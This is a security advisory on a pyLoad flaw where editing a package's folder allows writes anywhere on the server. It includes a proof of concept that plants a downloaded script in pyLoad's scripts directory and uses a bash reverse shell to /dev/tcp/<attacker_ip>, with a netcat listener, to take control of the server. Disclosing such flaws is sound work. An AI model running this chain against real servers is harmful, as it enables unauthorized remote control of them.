Description

Download to arbitrary folder can lead to RCE

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::add_package::L432

  folder = (
      folder.replace("http://", "")
      .replace("https://", "")
      .replace(":", "")
      .replace("/", "_")
      .replace("\\", "_")
  )

So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

  id = int(flask.request.form["pack_id"])
  data = {
      "name": flask.request.form["pack_name"],
      "_folder": flask.request.form["pack_folder"],
      "password": flask.request.form["pack_pws"],
  }

  api.set_package_data(id, data)...
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Steps to reproduce

Login to a pyLoad instance

Go to "Queue" and create a new package with any name and a valid link

Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"

Restart the package

Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

Start a web server hosting a malicious script

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80

Start netcat listener for reverse shells

nc -vklp 9999

On pyLoad

Change pyLoad file permission settings

Change permissions of downloads: On Permission mode for downloaded files: 0744

Create a package with link pointing to the attacker

http://<attacker_ip>/evil.sh

Edit package and change folder to /config/scripts/package_deleted/

Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad

Delete any package package to trigger the script

Impact

An authenticated user can gain control over the underlying pyLoad server.

Mitigation

Aliases

References